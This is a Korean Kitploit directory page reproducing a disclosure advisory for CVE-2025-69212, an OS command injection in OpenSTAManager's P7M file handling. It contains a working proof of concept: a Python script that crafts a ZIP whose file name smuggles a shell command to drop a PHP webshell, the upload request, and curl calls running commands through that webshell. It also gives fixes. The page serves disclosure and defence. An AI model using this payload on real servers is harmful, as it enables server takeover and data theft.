Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-69212 — CVE-2025-69212 - OpenSTAManager는 P7M 파일 처리 과정에서 OS 명령어 주입(Command Injection) 취약점이 존재합니다. | Kitploit
도구/GitHubGitHub/lukasz-rybak/cve-2025-69212
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlPayload Development
GitHublukasz-rybak/cve-2025-69212

CVE-2025-69212

CVE-2025-69212 - OpenSTAManager는 P7M 파일 처리 과정에서 OS 명령어 주입(Command Injection) 취약점이 존재합니다.

저장소 보기
44개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-69212: OpenSTAManager의 P7M 파일 처리에서 OS 명령 주입 취약점

개요

필드세부 정보
CVE IDCVE-2025-69212
심각도CRITICAL
권고권고 보기
발견자Lukasz Rybak

영향을 받는 제품

  • devcode-it/openstamanager (버전: <= 2.9.8)

CWE 분류

  • CWE-78: OS 명령에 사용되는 특수 요소의 부적절한 중립화 ('OS 명령 주입')

세부 정보

요약

P7M(서명된 XML) 파일 디코딩 기능에 심각한 OS 명령 주입 취약점이 존재합니다. 인증된 공격자는 악성 파일명을 가진 .p7m 파일이 포함된 ZIP 파일을 업로드하여 서버에서 임의의 시스템 명령을 실행할 수 있습니다.

취약 코드

파일: src/Util/XML.php:100

root@kitploit:~
public static function decodeP7M($file)
{
    $directory = pathinfo($file, PATHINFO_DIRNAME);
    $content = file_get_contents($file);

    $output_file = $directory.'/'.basename($file, '.p7m');

    try {
        if (function_exists('exec')) {
            // VULNERABLE - No input sanitization!
            exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);

문제점:

  • $file 매개변수가 검증 없이 exec()에 직접 전달됩니다
  • 큰따옴표로 감싸져 있지만 공격자가 이를 이스케이프할 수 있습니다
  • 파일명은 업로드된 ZIP 아카이브에서 비롯됩니다 (사용자 제어 가능)

공격 경로

진입점:

  1. plugins/importFE_ZIP/actions.php:126 (자동 가져오기가 활성화된 경우)

    root@kitploit:~
    foreach ($files_xml as $xml) {
        if (string_ends_with($xml, '.p7m')) {
            $file = XML::decodeP7M($directory.'/'.$xml);  // $xml from ZIP!
    
  2. plugins/importFE/src/FatturaElettronica.php:56 (생성자)

    root@kitploit:~
    if (string_ends_with($name, '.p7m')) {
        $file = XML::decodeP7M($this->file);  // $name from user input!
    

공격 흐름:

  1. 공격자는 악성 파일명이 포함된 ZIP을 생성합니다
  2. importFE_ZIP 플러그인을 통해 ZIP을 업로드합니다
  3. 애플리케이션이 ZIP을 추출하고 파일을 반복 처리합니다
  4. .p7m 파일에 대해 decodeP7M()이 호출됩니다
  5. 악성 파일명이 exec() 명령에 주입됩니다
  6. 웹 서버 사용자 권한으로 임의의 명령이 실행됩니다

개념 증명

⚠️ 중요 참고 사항: PHP의 ZipArchive::extractTo()는 / 문자를 기준으로 파일명을 분리합니다. 페이로드의 명령에는 /가 포함되면 안 됩니다. 절대 경로 대신 cd directory && command를 사용하세요.

1단계: 악성 ZIP 생성

root@kitploit:~
import zipfile

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")

2단계: ZIP 업로드

root@kitploit:~
POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip

[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"

save

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_module"

14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_plugin"

48
------WebKitFormBoundaryBKunENXxjEx5VrRc--
image image

3단계: 악용 결과

응답 (500 오류가 예상됨 - 명령 실행 후 XML 파싱이 실패함):

root@kitploit:~
HTTP/1.1 500 Internal Server Error
{"error":{"type":"Exception","message":"Start tag expected, '<' not found"}}

검증 - 웹셸 생성됨:

image

4단계: 원격 코드 실행

웹셸은 인증 없이 공개적으로 접근 가능합니다:

root@kitploit:~
$ curl "http://localhost:8081/files/SHELL.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd"
[Full /etc/passwd output]
image

영향

  • 원격 코드 실행: 서버 전체 장악
  • 데이터 유출: 모든 애플리케이션 데이터 및 데이터베이스에 대한 접근
  • 권한 상승: 웹 서버가 상승된 권한으로 실행되는 경우 권한 상승 가능
  • 지속성: 백도어 설치 및 접근 유지
  • 횡적 이동: 네트워크의 다른 시스템으로 이동

사전 요구 사항

  • 인보이스 가져오기 기능에 접근 권한이 있는 인증된 사용자

해결 방법

입력 값 검증

root@kitploit:~
public static function decodeP7M($file)
{
    // Validate that file path doesn't contain shell metacharacters
    if (preg_match('/[;&|`$(){}\[\]<>]/', $file)) {
        throw new \Exception('Invalid file path');
    }

    // Better: use escapeshellarg()
    $safe_file = escapeshellarg($file);
    $safe_output = escapeshellarg($output_file);

    exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd);
}

또는

처리 전 파일 이름 검증

root@kitploit:~
// In the upload handler, validate filenames from ZIP
foreach ($files_xml as $xml) {
    // Only allow alphanumeric, dots, dashes, underscores
    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
        continue; // Skip invalid filenames
    }

    if (string_ends_with($xml, '.p7m')) {
        $file = XML::decodeP7M($directory.'/'.$xml);
    }
}

크레딧

발견자: Łukasz Rybak

참고 자료

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-25fp-8w8p-mx36
  • https://nvd.nist.gov/vuln/detail/CVE-2025-69212
  • https://github.com/advisories/GHSA-25fp-8w8p-mx36

면책 조항

본 CVE는 조정된 취약점 공개(coordinated vulnerability disclosure) 관행에 따라 책임감 있게 공개되었습니다. 여기에 제공된 정보는 교육 및 방어 목적으로만 사용됩니다.

도구 다운로드